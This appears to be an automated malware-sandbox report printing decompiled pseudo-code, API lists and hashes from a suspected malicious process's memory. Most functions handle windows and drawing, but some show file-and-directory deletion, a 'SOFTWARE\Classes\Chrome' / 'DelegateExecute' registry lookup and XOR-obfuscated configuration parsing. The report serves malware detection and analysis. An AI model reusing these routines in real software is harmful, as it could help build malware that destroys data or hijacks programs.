							_t214 = _t182 - 1;
							if(_t214 == 0) {
								_v44 =  *((intOrPtr*)(__edx + 8));
								_t287 =  *((intOrPtr*)(_v8 + 8)) - 1;
								__eflags = _t287;
								if(_t287 < 0) {
									goto L67;
								} else {
									_t288 = _t287 + 1;
									_t373 = 0;
									__eflags = 0;
									while(1) {
										_v16 = E003C1908(E00396F34(_v8, _t373), 0,  *((intOrPtr*)(_v44 + 8)));
										__eflags = _v16;
										if(_v16 != 0) {
											break;
										}
										_t373 = _t373 + 1;
										_t288 = _t288 - 1;
										__eflags = _t288;
										if(_t288 != 0) {
											continue;
										} else {
											goto L67;
										}
										goto L69;
									}
									_v32 = GetWindowDC( *(_v8 + 0x10));
									 *[fs:eax] = _t380;
									_v24 = E003A0234(0, 1);
									 *[fs:eax] = _t380;
									_v28 = SaveDC(_v32);
									 *[fs:eax] = _t380;
									E003A0824(_v24, _v32);
									E003A06C4(_v24);
									 *((intOrPtr*)( *_v16 + 0x38))(_v44 + 0x10,  *[fs:eax], 0x3c2c83, _t378,  *[fs:eax], 0x3c2ca0, _t378,  *[fs:eax], 0x3c2cc5, _t378);
									_pop(_t343);
									 *[fs:eax] = _t343;
									_push(0x3c2c8a);
									__eflags = 0;
									E003A0824(_v24, 0);
									return RestoreDC(_v32, _v28);
								}
							} else {
								if(_t214 == 0x27) {
									_v36 =  *((intOrPtr*)(__edx + 8));
									_t291 =  *((intOrPtr*)(_v8 + 8)) - 1;
									__eflags = _t291;
									if(_t291 < 0) {
										goto L67;
									} else {
										_t292 = _t291 + 1;
										_t374 = 0;
										__eflags = 0;
										while(1) {
											_t252 =  *((intOrPtr*)( *((intOrPtr*)(E00396F34(_v8, _t374))) + 0x34))();
											_t347 = _v36;
											__eflags = _t252 -  *((intOrPtr*)(_t347 + 0xc));
											if(_t252 !=  *((intOrPtr*)(_t347 + 0xc))) {
												_v16 = E003C1908(E00396F34(_v8, _t374), 1,  *((intOrPtr*)(_v36 + 0xc)));
											} else {
												_v16 =  *((intOrPtr*)(E00396F34(_v8, _t374) + 0x34));
											}
											__eflags = _v16;
											if(_v16 != 0) {
												break;
											}
											_t374 = _t374 + 1;
											_t292 = _t292 - 1;
											__eflags = _t292;
											if(_t292 != 0) {
												continue;
											} else {
												goto L67;
											}
											goto L68;
										}
										_t258 = E003C1938(E00396F34(_v8, _t374), 1,  *((intOrPtr*)(_v36 + 8)));
										__eflags = _t258;
										if(_t258 == 0) {
											_t266 = E00396F34(_v8, _t374);
											__eflags = 0;
											_t258 = E003C1938(_t266, 0,  *((intOrPtr*)(_v36 + 0xc)));
										}
										_t354 =  *0x3da208; // 0x3dbb20
										_t56 =  *_t354 + 0x6c; // 0x0
										_t356 =  *_t56;
										__eflags = _t356;
										if(_t356 != 0) {
											__eflags = _t258;
											if(_t258 == 0) {
												_t258 =  *(_t356 + 0x158);
											}
											_t308 =  *0x3da208; // 0x3dbb20
											__eflags =  *(_t356 + 0x228) & 0x00000008;
											if(( *(_t356 + 0x228) & 0x00000008) == 0) {
												_t357 =  *0x3da0b4; // 0x3dbb1c
												E003BA53C( *_t357, _t292, _t308, _t258, _t374, _t376);
											} else {
												E003BA5A4();
											}
										}
									}
								} else {
									L67:
									_push( *(_t376 + 8));
									_push( *(_t376 + 4));
									_push( *_t376);
									_t144 =  *(_v8 + 0x10);
									_push(_t144);
									L003865BC();
									 *(_t376 + 0xc) = _t144;
								}
								L68:
								_pop(_t312);
								 *[fs:eax] = _t312;
								_push(0x3c2d56);
								return E00383EBC( &_v52);
							}
						}
					}
				}
				L69:
			}

0x003c281d
0x003c281f
0x003c2827
0x003c282a
0x003c282c
0x003c2831
0x003c2832
0x003c2837
0x003c283a
0x003c283d
0x003c283f
0x003c2844
0x003c2866
0x003c2866
0x003c286b
0x003c28ba
0x003c28bb
0x003c28bd
0x00000000
0x003c28c3
0x003c28c3
0x003c28c4
0x003c28c4
0x003c28c6
0x003c28d3
0x003c28d8
0x003c28da
0x00000000
0x00000000
0x003c28e0
0x003c28e1
0x003c28e1
0x003c28e2
0x00000000
0x003c28e4
0x00000000
0x003c28e4
0x00000000
0x003c28e2
0x003c28c6
0x003c286d
0x003c286d
0x003c286d
0x003c2870
0x003c28e9
0x003c28ed
0x003c28f1
0x003c28f3
0x003c28f3
0x003c28fd
0x003c28fe
0x003c2900
0x003c2976
0x003c2976
0x003c297f
0x00000000
0x003c2902
0x003c2902
0x003c2903
0x003c2903
0x003c2905
0x003c2905
0x003c2909
0x003c292f
0x003c290b
0x003c290b
0x003c290e
0x003c2910
0x003c2922
0x003c2912
0x003c291d
0x003c291d
0x003c2910
0x003c2937
0x003c293c
0x003c2947
0x003c294a
0x003c294e
0x00000000
0x00000000
0x003c2972
0x003c2973
0x003c2973
0x003c2974
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x003c2974
0x003c2959
0x003c2961
0x003c2968
0x003c2968
0x003c2872
0x003c2872
0x003c2873
0x003c2cdc
0x003c2cdd
0x003c2cdf
0x00000000
0x003c2ce1
0x003c2ce1
0x003c2ce2
0x003c2ce2
0x003c2ce4
0x003c2cee
0x003c2cf6
0x003c2cf9
0x003c2cfc
0x00000000
0x00000000
0x003c2d06
0x003c2d0b
0x003c2d0d
0x003c2d1b
0x003c2d1c
0x003c2d1c
0x003c2d1d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x003c2d0d
0x003c2d14
0x003c2d14
0x003c2879
0x00000000
0x003c2879
0x003c2873
0x003c2870
0x00000000
0x003c2846
0x003c2846
0x003c2884
0x003c2885
0x003c2887
0x00000000
0x003c288d
0x003c288d
0x003c288e
0x003c288e
0x003c2890
0x003c2895
0x003c289e
0x003c28a3
0x003c28a5
0x00000000
0x00000000
0x003c28ab
0x003c28ac
0x003c28ac
0x003c28ad
0x00000000
0x003c28af
0x00000000
0x003c28af
0x00000000
0x003c28ad
0x003c2890
0x00000000
0x003c2848
0x003c2848
0x003c284b
0x003c2a8e
0x003c2a97
0x003c2a98
0x003c2a9a
0x00000000
0x003c2aa0
0x003c2aa0
0x003c2aa1
0x003c2aa1
0x003c2aa3
0x003c2aba
0x003c2abd
0x003c2ac1
0x00000000
0x00000000
0x003c2b89
0x003c2b8a
0x003c2b8a
0x003c2b8b
0x00000000
0x003c2b91
0x00000000
0x003c2b91
0x00000000
0x003c2b8b
0x003c2ad3
0x003c2ad8
0x003c2ad9
0x003c2ade
0x003c2ae1
0x003c2af0
0x003c2af5
0x003c2af6
0x003c2afb
0x003c2afe
0x003c2b0a
0x003c2b1f
0x003c2b38
0x003c2b3f
0x003c2b42
0x003c2b45
0x003c2b4a
0x003c2b4f
0x003c2b64
0x003c2b64
0x003c2851
0x003c2851
0x003c2852
0x003c2b99
0x003c2ba2
0x003c2ba3
0x003c2ba5
0x00000000
0x003c2bab
0x003c2bab
0x003c2bac
0x003c2bac
0x003c2bae
0x003c2bc5
0x003c2bc8
0x003c2bcc
0x00000000
0x00000000
0x003c2ccc
0x003c2ccd
0x003c2ccd
0x003c2cce
0x00000000
0x003c2cd4
0x00000000
0x003c2cd4
0x00000000
0x003c2cce
0x003c2bde
0x003c2bec
0x003c2bfb
0x003c2c09
0x003c2c15
0x003c2c23
0x003c2c2c
0x003c2c41
0x003c2c5b
0x003c2c60
0x003c2c63
0x003c2c66
0x003c2c6b
0x003c2c70
0x003c2c82
0x003c2c82
0x003c2858
0x003c285b
0x003c298c
0x003c2995
0x003c2996
0x003c2998
0x00000000
0x003c299e
0x003c299e
0x003c299f
0x003c299f
0x003c29a1
0x003c29ad
0x003c29b0
0x003c29b3
0x003c29b6
0x003c29e1
0x003c29b8
0x003c29c5
0x003c29c5
0x003c29e4
0x003c29e8
0x00000000
0x00000000
0x003c2a7e
0x003c2a7f
0x003c2a7f
0x003c2a80
0x00000000
0x003c2a86
0x00000000
0x003c2a86
0x00000000
0x003c2a80
0x003c2a00
0x003c2a05
0x003c2a07
0x003c2a0e
0x003c2a19
0x003c2a1b
0x003c2a1b
0x003c2a20
0x003c2a28
0x003c2a28
0x003c2a2b
0x003c2a2d
0x003c2a33
0x003c2a35
0x003c2a3c
0x003c2a3c
0x003c2a42
0x003c2a48
0x003c2a4f
0x003c2a6b
0x003c2a74
0x003c2a51
0x003c2a61
0x003c2a61
0x003c2a4f
0x003c2a2d
0x003c2861
0x003c2d1f
0x003c2d22
0x003c2d26
0x003c2d29
0x003c2d2d
0x003c2d30
0x003c2d31
0x003c2d36
0x003c2d36
0x003c2d39
0x003c2d3b
0x003c2d3e
0x003c2d41
0x003c2d4e
0x003c2d4e
0x003c2852
0x003c284b
0x003c2846
0x00000000

APIs

SaveDC.GDI32(?), ref: 003C2AEB
RestoreDC.GDI32(?,?), ref: 003C2B5F
GetWindowDC.USER32(?), ref: 003C2BD9
SaveDC.GDI32(?), ref: 003C2C10
RestoreDC.GDI32(?,?), ref: 003C2C7D
NtdllDefWindowProc_A.USER32(?,?,?,?,00000000,003C2D4F), ref: 003C2D31

Strings

l8<, xrefs: 003C2AC9, 003C2BF1

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: RestoreSaveWindow$NtdllProc_
String ID: l8<
API String ID: 1346906915-2256284458
Opcode ID: 4817773ffbdc9672318e9ca48aa572467fedb5e0d5277fd97f9b18dc0eb092a2
Instruction ID: 05bd9986901a7774fd7466c6871681551363f3a2bb2538937c7c4849098c8eda
Opcode Fuzzy Hash: 4817773ffbdc9672318e9ca48aa572467fedb5e0d5277fd97f9b18dc0eb092a2
Instruction Fuzzy Hash: A9E14A34A006099FCB12EFA9C585E9EB7F5FF58300B2185A9E511EB726CB34ED41CB51

Uniqueness

Uniqueness Score: -1.00%

Function 003CF1C8, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 64
windowCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E003CF1C8(void* __eax) {
				void* _v28;
				struct _WINDOWPLACEMENT _v56;
				struct tagPOINT _v64;
				intOrPtr _v68;
				void* _t43;
				struct HWND__* _t45;
				struct tagPOINT* _t47;

				_t47 =  &(_v64.y);
				_t43 = __eax;
				if(IsIconic( *(__eax + 0x180)) == 0) {
					GetWindowRect( *(_t43 + 0x180), _t47);
				} else {
					_v56.length = 0x2c;
					GetWindowPlacement( *(_t43 + 0x180),  &_v56);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
				}
				if((GetWindowLongA( *(_t43 + 0x180), 0xfffffff0) & 0x40000000) != 0) {
					_t45 = GetWindowLongA( *(_t43 + 0x180), 0xfffffff8);
					if(_t45 != 0) {
						ScreenToClient(_t45, _t47);
						ScreenToClient(_t45,  &_v64);
					}
				}
				 *(_t43 + 0x40) = _t47->x;
				 *((intOrPtr*)(_t43 + 0x44)) = _v68;
				 *((intOrPtr*)(_t43 + 0x48)) = _v64.x - _t47->x;
				 *((intOrPtr*)(_t43 + 0x4c)) = _v64.y.x - _v68;
				return E003C7D24(_t43);
			}

0x003cf1cb
0x003cf1ce
0x003cf1de
0x003cf20d
0x003cf1e0
0x003cf1e0
0x003cf1f4
0x003cf1ff
0x003cf200
0x003cf201
0x003cf202
0x003cf202
0x003cf225
0x003cf235
0x003cf239
0x003cf23d
0x003cf248
0x003cf248
0x003cf239
0x003cf250
0x003cf257
0x003cf261
0x003cf26c
0x003cf27c

APIs

IsIconic.USER32(?), ref: 003CF1D7
GetWindowPlacement.USER32(?,0000002C), ref: 003CF1F4
GetWindowRect.USER32 ref: 003CF20D
GetWindowLongA.USER32(?,000000F0), ref: 003CF21B
GetWindowLongA.USER32(?,000000F8), ref: 003CF230
ScreenToClient.USER32(00000000), ref: 003CF23D
ScreenToClient.USER32(00000000,?), ref: 003CF248

Strings

,, xrefs: 003CF1E0

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$ClientLongScreen$IconicPlacementRect
String ID: ,
API String ID: 2266315723-3772416878
Opcode ID: cf10bdd7a57f08df089ba4444f7281729440a0eabbddeed75f43884e8ad16a88
Instruction ID: bda46640157185ad4eac260d8f90c49d021dfca1c5cd55055ac48868fd76bf57
Opcode Fuzzy Hash: cf10bdd7a57f08df089ba4444f7281729440a0eabbddeed75f43884e8ad16a88
Instruction Fuzzy Hash: 71113A75504201AFCB42EF6CC886F9A77E8AF49310F144968FD58CF28AD775DD048BA1

Uniqueness

Uniqueness Score: -1.00%

Function 003B3840, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 284
windowCOMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E003B3840(intOrPtr __eax, struct HWND__** __edx) {
				intOrPtr _v8;
				int _v12;
				intOrPtr _v16;
				struct HDC__* _v20;
				struct HWND__* _v24;
				void* __ebp;
				struct HWND__* _t92;
				intOrPtr _t112;
				intOrPtr _t115;
				struct HWND__* _t121;
				struct HWND__* _t124;
				intOrPtr _t128;
				struct HWND__* _t129;
				intOrPtr _t130;
				intOrPtr _t131;
				struct HWND__* _t133;
				struct HWND__* _t136;
				intOrPtr _t142;
				intOrPtr _t172;
				struct HWND__** _t201;
				struct HWND__* _t219;
				struct HWND__* _t220;
				intOrPtr _t229;
				void* _t231;
				void* _t232;
				intOrPtr _t238;
				intOrPtr _t246;
				struct HWND__* _t250;
				struct HWND__* _t251;
				struct HWND__* _t256;
				struct HWND__* _t257;
				void* _t259;
				void* _t261;
				intOrPtr _t262;
				void* _t264;
				void* _t268;

				_t259 = _t261;
				_t262 = _t261 + 0xffffffec;
				_t201 = __edx;
				_v8 = __eax;
				_t92 =  *__edx;
				_t219 = _t92;
				_t264 = _t219 - 0x46;
				if(_t264 > 0) {
					_t220 = _t219 - 0xb01a;
					__eflags = _t220;
					if(_t220 == 0) {
						__eflags =  *(_v8 + 0xa0);
						if(__eflags != 0) {
							E003832F8(_v8, __eflags);
						}
					} else {
						__eflags = _t220 == 1;
						if(_t220 == 1) {
							__eflags =  *(_v8 + 0xa0);
							if(__eflags != 0) {
								E003832F8(_v8, __eflags);
							}
						} else {
							goto L41;
						}
					}
					goto L43;
				} else {
					if(_t264 == 0) {
						_t112 = _v8;
						_t229 =  *0x3b3c74; // 0x1
						__eflags = _t229 - ( *(_t112 + 0x1c) &  *0x3b3c70);
						if(_t229 == ( *(_t112 + 0x1c) &  *0x3b3c70)) {
							_t115 = _v8;
							__eflags =  *((intOrPtr*)(_t115 + 0x230)) - 0xffffffffffffffff;
							if( *((intOrPtr*)(_t115 + 0x230)) - 0xffffffffffffffff < 0) {
								_t128 = _v8;
								__eflags =  *((char*)(_t128 + 0x22b)) - 2;
								if( *((char*)(_t128 + 0x22b)) != 2) {
									_t129 = __edx[2];
									_t26 = _t129 + 0x18;
									 *_t26 =  *(_t129 + 0x18) | 0x00000002;
									__eflags =  *_t26;
								}
							}
							_t121 =  *((intOrPtr*)(_v8 + 0x230)) - 1;
							__eflags = _t121;
							if(_t121 == 0) {
								L30:
								_t124 =  *((intOrPtr*)(_v8 + 0x229)) - 2;
								__eflags = _t124;
								if(_t124 == 0) {
									L32:
									 *( *((intOrPtr*)(_t201 + 8)) + 0x18) =  *( *((intOrPtr*)(_t201 + 8)) + 0x18) | 0x00000001;
								} else {
									__eflags = _t124 == 3;
									if(_t124 == 3) {
										goto L32;
									}
								}
							} else {
								__eflags = _t121 == 2;
								if(_t121 == 2) {
									goto L30;
								}
							}
						}
						goto L43;
					} else {
						_t231 = _t219 + 0xfffffffa - 3;
						if(_t231 < 0) {
							__eflags =  *0x3d9a6c;
							if( *0x3d9a6c != 0) {
								__eflags =  *__edx - 7;
								if( *__edx != 7) {
									goto L43;
								} else {
									_t130 = _v8;
									__eflags =  *(_t130 + 0x1c) & 0x00000010;
									if(( *(_t130 + 0x1c) & 0x00000010) != 0) {
										goto L43;
									} else {
										_t256 = 0;
										_t131 = _v8;
										__eflags =  *((char*)(_t131 + 0x22f)) - 2;
										if( *((char*)(_t131 + 0x22f)) != 2) {
											_t133 =  *(_v8 + 0x220);
											__eflags = _t133;
											if(_t133 != 0) {
												__eflags = _t133 - _v8;
												if(_t133 != _v8) {
													_t256 = E003CEEB8(_t133);
												}
											}
										} else {
											_t136 = E003B416C(_v8);
											__eflags = _t136;
											if(_t136 != 0) {
												_t256 = E003CEEB8(E003B416C(_v8));
											}
										}
										__eflags = _t256;
										if(_t256 == 0) {
											goto L43;
										} else {
											_t92 = SetFocus(_t256);
										}
									}
								}
							}
							goto L44;
						} else {
							_t232 = _t231 - 0x22;
							if(_t232 == 0) {
								_v24 = __edx[2];
								__eflags = _v24->i - 1;
								if(_v24->i != 1) {
									goto L43;
								} else {
									_t142 = _v8;
									__eflags =  *(_t142 + 0x248);
									if( *(_t142 + 0x248) == 0) {
										goto L43;
									} else {
										_t250 = E003C1908( *((intOrPtr*)(_v8 + 0x248)), 0,  *((intOrPtr*)(_v24 + 8)));
										__eflags = _t250;
										if(_t250 == 0) {
											goto L43;
										} else {
											_v16 = E003A0234(0, 1);
											_push(_t259);
											_push(0x3b3ab9);
											_push( *[fs:eax]);
											 *[fs:eax] = _t262;
											_v12 = SaveDC( *(_v24 + 0x18));
											_push(_t259);
											_push(0x3b3a9c);
											_push( *[fs:eax]);
											 *[fs:eax] = _t262;
											E003A0824(_v16,  *(_v24 + 0x18));
											E003A06C4(_v16);
											E003C2FF4(_t250, _v24 + 0x1c, _v16,  *((intOrPtr*)(_v24 + 0x10)));
											_pop(_t238);
											 *[fs:eax] = _t238;
											_push(0x3b3aa3);
											__eflags = 0;
											E003A0824(_v16, 0);
											return RestoreDC( *(_v24 + 0x18), _v12);
										}
									}
								}
							} else {
								if(_t232 == 1) {
									_t257 = __edx[2];
									__eflags = _t257->i - 1;
									if(_t257->i != 1) {
										goto L43;
									} else {
										_t172 = _v8;
										__eflags =  *(_t172 + 0x248);
										if( *(_t172 + 0x248) == 0) {
											goto L43;
										} else {
											_t251 = E003C1908( *((intOrPtr*)(_v8 + 0x248)), 0,  *((intOrPtr*)(_t257 + 8)));
											__eflags = _t251;
											if(_t251 == 0) {
												goto L43;
											} else {
												_v20 = GetWindowDC(E003CEEB8(_v8));
												 *[fs:eax] = _t262;
												_v16 = E003A0234(0, 1);
												 *[fs:eax] = _t262;
												_v12 = SaveDC(_v20);
												 *[fs:eax] = _t262;
												E003A0824(_v16, _v20);
												E003A06C4(_v16);
												 *((intOrPtr*)(_t251->i + 0x38))(_t257 + 0x10,  *[fs:eax], 0x3b3ba3, _t259,  *[fs:eax], 0x3b3bc0, _t259,  *[fs:eax], 0x3b3be7, _t259);
												_pop(_t246);
												 *[fs:eax] = _t246;
												_push(0x3b3baa);
												__eflags = 0;
												E003A0824(_v16, 0);
												return RestoreDC(_v20, _v12);
											}
										}
									}
								} else {
									L41:
									_t268 = _t92 -  *0x3dbb28; // 0xc0a7
									if(_t268 == 0) {
										E003C9884(_v8, 0, 0xb025, 0);
										E003C9884(_v8, 0, 0xb024, 0);
										E003C9884(_v8, 0, 0xb035, 0);
										E003C9884(_v8, 0, 0xb009, 0);
										E003C9884(_v8, 0, 0xb008, 0);
										E003C9884(_v8, 0, 0xb03d, 0);
									}
									L43:
									_t92 = E003CC8CC(_v8, _t201);
									L44:
									return _t92;
								}
							}
						}
					}
				}
			}

0x003b3841
0x003b3843
0x003b3849
0x003b384b
0x003b384e
0x003b3850
0x003b3852
0x003b3855
0x003b387a
0x003b387a
0x003b3880
0x003b392c
0x003b3933
0x003b3940
0x003b3940
0x003b3886
0x003b3886
0x003b3887
0x003b390b
0x003b3912
0x003b391f
0x003b391f
0x003b3889
0x00000000
0x003b3889
0x003b3887
0x00000000
0x003b3857
0x003b3857
0x003b394a
0x003b3958
0x003b395f
0x003b3962
0x003b3968
0x003b3972
0x003b3974
0x003b3976
0x003b3979
0x003b3980
0x003b3982
0x003b3985
0x003b3985
0x003b3985
0x003b3985
0x003b3980
0x003b3992
0x003b3992
0x003b3994
0x003b399e
0x003b39a7
0x003b39a7
0x003b39a9
0x003b39b3
0x003b39b6
0x003b39ab
0x003b39ab
0x003b39ad
0x00000000
0x00000000
0x003b39ad
0x003b3996
0x003b3996
0x003b3998
0x00000000
0x00000000
0x003b3998
0x003b3994
0x00000000
0x003b385d
0x003b3860
0x003b3863
0x003b388e
0x003b3895
0x003b389b
0x003b389e
0x00000000
0x003b38a4
0x003b38a4
0x003b38a7
0x003b38ab
0x00000000
0x003b38b1
0x003b38b1
0x003b38b3
0x003b38b6
0x003b38bd
0x003b38df
0x003b38e5
0x003b38e7
0x003b38e9
0x003b38ec
0x003b38f3
0x003b38f3
0x003b38ec
0x003b38bf
0x003b38c2
0x003b38c7
0x003b38c9
0x003b38d8
0x003b38d8
0x003b38c9
0x003b38f5
0x003b38f7
0x00000000
0x003b38fd
0x003b38fe
0x003b38fe
0x003b38f7
0x003b38ab
0x003b389e
0x00000000
0x003b3865
0x003b3865
0x003b3868
0x003b39c2
0x003b39c8
0x003b39cb
0x00000000
0x003b39d1
0x003b39d1
0x003b39d4
0x003b39db
0x00000000
0x003b39e1
0x003b39f7
0x003b39f9
0x003b39fb
0x00000000
0x003b3a01
0x003b3a0d
0x003b3a12
0x003b3a13
0x003b3a18
0x003b3a1b
0x003b3a2a
0x003b3a2f
0x003b3a30
0x003b3a35
0x003b3a38
0x003b3a44
0x003b3a57
0x003b3a6f
0x003b3a76
0x003b3a79
0x003b3a7c
0x003b3a81
0x003b3a86
0x003b3a9b
0x003b3a9b
0x003b39fb
0x003b39db
0x003b386e
0x003b386f
0x003b3ac0
0x003b3ac3
0x003b3ac6
0x00000000
0x003b3acc
0x003b3acc
0x003b3acf
0x003b3ad6
0x00000000
0x003b3adc
0x003b3aef
0x003b3af1
0x003b3af3
0x00000000
0x003b3af9
0x003b3b07
0x003b3b15
0x003b3b24
0x003b3b32
0x003b3b3e
0x003b3b4c
0x003b3b55
0x003b3b68
0x003b3b7b
0x003b3b80
0x003b3b83
0x003b3b86
0x003b3b8b
0x003b3b90
0x003b3ba2
0x003b3ba2
0x003b3af3
0x003b3ad6
0x003b3875
0x003b3bee
0x003b3bee
0x003b3bf4
0x003b3c02
0x003b3c13
0x003b3c24
0x003b3c35
0x003b3c46
0x003b3c57
0x003b3c57
0x003b3c5c
0x003b3c61
0x003b3c66
0x003b3c6c
0x003b3c6c
0x003b386f
0x003b3868
0x003b3863
0x003b3857

APIs

SetFocus.USER32 ref: 003B38FE
SaveDC.GDI32(?), ref: 003B3A25
RestoreDC.GDI32(?,?), ref: 003B3A96
GetWindowDC.USER32(00000000), ref: 003B3B02
SaveDC.GDI32(?), ref: 003B3B39
RestoreDC.GDI32(?,?), ref: 003B3B9D

Strings

l8<, xrefs: 003B3A03, 003B3B1A

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: RestoreSave$FocusWindow
String ID: l8<
API String ID: 1553564791-2256284458
Opcode ID: 2f1b1c11ad668097e0912e19c70d67e9c4a4d9ddffb2ae50a61d63a08caafcc2
Instruction ID: 8fcc2d07b2b15182f9bdc2374c1cfb24574dc358b94c3138ab77c46eee69ba90
Opcode Fuzzy Hash: 2f1b1c11ad668097e0912e19c70d67e9c4a4d9ddffb2ae50a61d63a08caafcc2
Instruction Fuzzy Hash: 7DB15D35A00214DFCB16DBA8C986AEEB7F5EF49304F5644A5E514EBB62D730EE00CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0234E8CE, Relevance: 10.6, APIs: 7, Instructions: 109filestringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,00000000,00000000,0235D0A8), ref: 0234E8E6

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

FindFirstFileW.KERNEL32(00000000,00000000,?,00000250,00000000,0000000A,00000208), ref: 0234E94F
lstrlenW.KERNEL32(0000002C,?,00000250,00000000,0000000A,00000208), ref: 0234E977
RemoveDirectoryW.KERNEL32(?,?,00000250,00000000,0000000A,00000208), ref: 0234E9C9
DeleteFileW.KERNEL32(?,?,00000250,00000000,0000000A,00000208), ref: 0234E9D4
FindNextFileW.KERNEL32(00000208,00000000,?,00000250,00000000,0000000A,00000208), ref: 0234E9E7

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: File$Findlstrlen$AllocateDeleteDirectoryFirstHeapNextRemove
String ID:
API String ID: 499515686-0
Opcode ID: cfe7eb177ff596b620ade02694984de9824173239f598d9517f0b98822075afc
Instruction ID: 15e9c9f94def19080576ba1d400049324f324adce7e08eb6336e05da813ffbad
Opcode Fuzzy Hash: cfe7eb177ff596b620ade02694984de9824173239f598d9517f0b98822075afc
Instruction Fuzzy Hash: B0414CB1C00209EFDF10DFA4DD48AAE7BFDFF04704F1085A6E805A61A1DB75AA94DB60

Uniqueness

Uniqueness Score: -1.00%

Function 0234CC2C, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 105stringnativeCOMMON

Download Yara Rule

APIs

NtQueryKey.NTDLL(?,00000003,00000000,00000000,?), ref: 0234CC7B
lstrlenW.KERNEL32(?), ref: 0234CC89
NtQueryKey.NTDLL(?,00000003,00000000,?,?), ref: 0234CCB4
lstrcpyW.KERNEL32(00000006,00000000), ref: 0234CCE1

Strings

SOFTWARE\Classes\Chrome, xrefs: 0234CCF8
DelegateExecute, xrefs: 0234CC53

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Query$lstrcpylstrlen
String ID: DelegateExecute$SOFTWARE\Classes\Chrome
API String ID: 3961825720-1743081400
Opcode ID: e84afcb5115331cc30a857ea1428c5e4a59f52ac5e2530150f92aeb2a572ebef
Instruction ID: 04fe8ac4a7e35b4b775be7e31af34ff56c104cb225e0be1594008c15e4b5f068
Opcode Fuzzy Hash: e84afcb5115331cc30a857ea1428c5e4a59f52ac5e2530150f92aeb2a572ebef
Instruction Fuzzy Hash: F1314C71A01209FFDF118F94CD44AAEBBFDEF05314F1084AAF905A6160DB75EA11DB60

Uniqueness

Uniqueness Score: -1.00%

Function 004723FC, Relevance: 9.2, APIs: 6, Instructions: 223
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E004723FC(int* __ecx) {
				int _v8;
				void* _v12;
				void* __esi;
				signed int _t20;
				signed int _t25;
				char* _t31;
				char* _t32;
				char* _t33;
				char* _t34;
				char* _t35;
				void* _t36;
				void* _t37;
				void* _t38;
				intOrPtr _t39;
				void* _t41;
				intOrPtr _t42;
				intOrPtr _t43;
				signed int _t46;
				intOrPtr _t49;
				signed int _t50;
				signed int _t55;
				void* _t57;
				void* _t58;
				signed int _t60;
				signed int _t64;
				signed int _t68;
				signed int _t72;
				signed int _t76;
				signed int _t80;
				void* _t85;
				intOrPtr _t102;

				_t86 = __ecx;
				_t20 =  *0x47d278; // 0x63699bc3
				if(E00479ABC( &_v12,  &_v8, _t20 ^ 0x8241c5a7) != 0 && _v8 >= 0x90) {
					 *0x47d2d0 = _v12;
				}
				_t25 =  *0x47d278; // 0x63699bc3
				if(E00479ABC( &_v12,  &_v8, _t25 ^ 0xecd84622) == 0) {
					_push(2);
					_pop(0);
					goto L60;
				} else {
					_t85 = _v12;
					if(_t85 == 0) {
						_t31 = 0;
					} else {
						_t80 =  *0x47d278; // 0x63699bc3
						_t31 = E004749AA(_t86, _t85, _t80 ^ 0x724e87bc);
					}
					if(_t31 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t31, 0,  &_v8) != 0) {
							 *0x47d240 = _v8;
						}
					}
					if(_t85 == 0) {
						_t32 = 0;
					} else {
						_t76 =  *0x47d278; // 0x63699bc3
						_t32 = E004749AA(_t86, _t85, _t76 ^ 0x2b40cc40);
					}
					if(_t32 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t32, 0,  &_v8) != 0) {
							 *0x47d244 = _v8;
						}
					}
					if(_t85 == 0) {
						_t33 = 0;
					} else {
						_t72 =  *0x47d278; // 0x63699bc3
						_t33 = E004749AA(_t86, _t85, _t72 ^ 0x3b27c2e6);
					}
					if(_t33 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t33, 0,  &_v8) != 0) {
							 *0x47d248 = _v8;
						}
					}
					if(_t85 == 0) {
						_t34 = 0;
					} else {
						_t68 =  *0x47d278; // 0x63699bc3
						_t34 = E004749AA(_t86, _t85, _t68 ^ 0x0602e249);
					}
					if(_t34 != 0) {
						_t86 =  &_v8;
